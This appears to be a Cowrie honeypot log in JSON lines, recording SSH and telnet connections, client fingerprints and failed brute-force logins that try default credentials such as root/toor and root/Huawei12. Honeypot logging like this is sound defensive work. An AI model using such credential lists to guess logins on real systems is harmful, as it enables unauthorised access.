{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:06.493340Z","src_ip":"176.65.132.129","session":"683196b12059","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:06.742257Z","src_ip":"176.65.132.129","session":"683196b12059","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:07.152979Z","src_ip":"172.237.20.62","session":"d6ffefcb31ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:07.841842Z","src_ip":"176.65.132.129","session":"683196b12059","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46488,"dst_ip":"159.203.135.109","dst_port":22,"session":"cac776c3b31c","protocol":"ssh","message":"New connection: 176.65.132.129:46488 (159.203.135.109:22) [session: cac776c3b31c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:09.712730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:09.718532Z","src_ip":"176.65.132.129","session":"cac776c3b31c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:09.805380Z","src_ip":"176.65.132.129","session":"cac776c3b31c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:10.259030Z","src_ip":"176.65.132.129","session":"cac776c3b31c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:11.345355Z","src_ip":"176.65.132.129","session":"cac776c3b31c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46498,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b096d7cd5fc","protocol":"ssh","message":"New connection: 176.65.132.129:46498 (159.203.135.109:22) [session: 5b096d7cd5fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:13.209049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:13.214029Z","src_ip":"176.65.132.129","session":"5b096d7cd5fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:13.298935Z","src_ip":"176.65.132.129","session":"5b096d7cd5fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:13.544591Z","src_ip":"176.65.132.129","session":"5b096d7cd5fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:14.628367Z","src_ip":"176.65.132.129","session":"5b096d7cd5fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":35982,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a1fabd789fd","protocol":"ssh","message":"New connection: 172.237.20.62:35982 (159.203.135.109:22) [session: 3a1fabd789fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:16.196874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:16.201773Z","src_ip":"172.237.20.62","session":"3a1fabd789fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:16.365934Z","src_ip":"172.237.20.62","session":"3a1fabd789fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35834,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0b856307550","protocol":"ssh","message":"New connection: 176.65.132.129:35834 (159.203.135.109:22) [session: b0b856307550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:16.397664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:16.404377Z","src_ip":"176.65.132.129","session":"b0b856307550","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:16.486460Z","src_ip":"176.65.132.129","session":"b0b856307550","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:16.735554Z","src_ip":"176.65.132.129","session":"b0b856307550","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:16.845727Z","src_ip":"172.237.20.62","session":"3a1fabd789fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:17.820899Z","src_ip":"176.65.132.129","session":"b0b856307550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:18.006297Z","src_ip":"172.237.20.62","session":"3a1fabd789fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.54616332054138,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:18.391399Z","src_ip":"45.58.127.90","session":"4228789501b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58568,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fc3de338adc","protocol":"telnet","message":"New connection: 45.58.127.90:58568 (10.17.0.5:23) [session: 2fc3de338adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:18.708855Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35836,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c662fc84a22","protocol":"ssh","message":"New connection: 176.65.132.129:35836 (159.203.135.109:22) [session: 4c662fc84a22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:19.629099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:19.633996Z","src_ip":"176.65.132.129","session":"4c662fc84a22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:19.715538Z","src_ip":"176.65.132.129","session":"4c662fc84a22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58584,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e84e5e8060f","protocol":"telnet","message":"New connection: 45.58.127.90:58584 (10.17.0.5:23) [session: 1e84e5e8060f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:19.792033Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei12","message":"login attempt [root/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:19.962182Z","src_ip":"176.65.132.129","session":"4c662fc84a22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58580,"dst_ip":"10.17.0.5","dst_port":23,"session":"790baf203180","protocol":"telnet","message":"New connection: 45.58.127.90:58580 (10.17.0.5:23) [session: 790baf203180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:20.630656Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:21.046494Z","src_ip":"176.65.132.129","session":"4c662fc84a22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35840,"dst_ip":"159.203.135.109","dst_port":22,"session":"05b58884fe70","protocol":"ssh","message":"New connection: 176.65.132.129:35840 (159.203.135.109:22) [session: 05b58884fe70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:22.874816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:23.038532Z","src_ip":"176.65.132.129","session":"05b58884fe70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:23.041965Z","src_ip":"176.65.132.129","session":"05b58884fe70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:23.386494Z","src_ip":"176.65.132.129","session":"05b58884fe70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:24.471155Z","src_ip":"176.65.132.129","session":"05b58884fe70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58602,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff0219c1ca5c","protocol":"telnet","message":"New connection: 45.58.127.90:58602 (10.17.0.5:23) [session: ff0219c1ca5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:26.307997Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53702,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c96f67b867d","protocol":"ssh","message":"New connection: 176.65.132.129:53702 (159.203.135.109:22) [session: 2c96f67b867d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:26.314686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:26.319266Z","src_ip":"176.65.132.129","session":"2c96f67b867d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:26.402170Z","src_ip":"176.65.132.129","session":"2c96f67b867d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:26.651410Z","src_ip":"176.65.132.129","session":"2c96f67b867d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":48786,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6a141e62c1d","protocol":"ssh","message":"New connection: 172.237.20.62:48786 (159.203.135.109:22) [session: b6a141e62c1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:27.093397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:27.096790Z","src_ip":"172.237.20.62","session":"b6a141e62c1d","protocol":"ssh"}
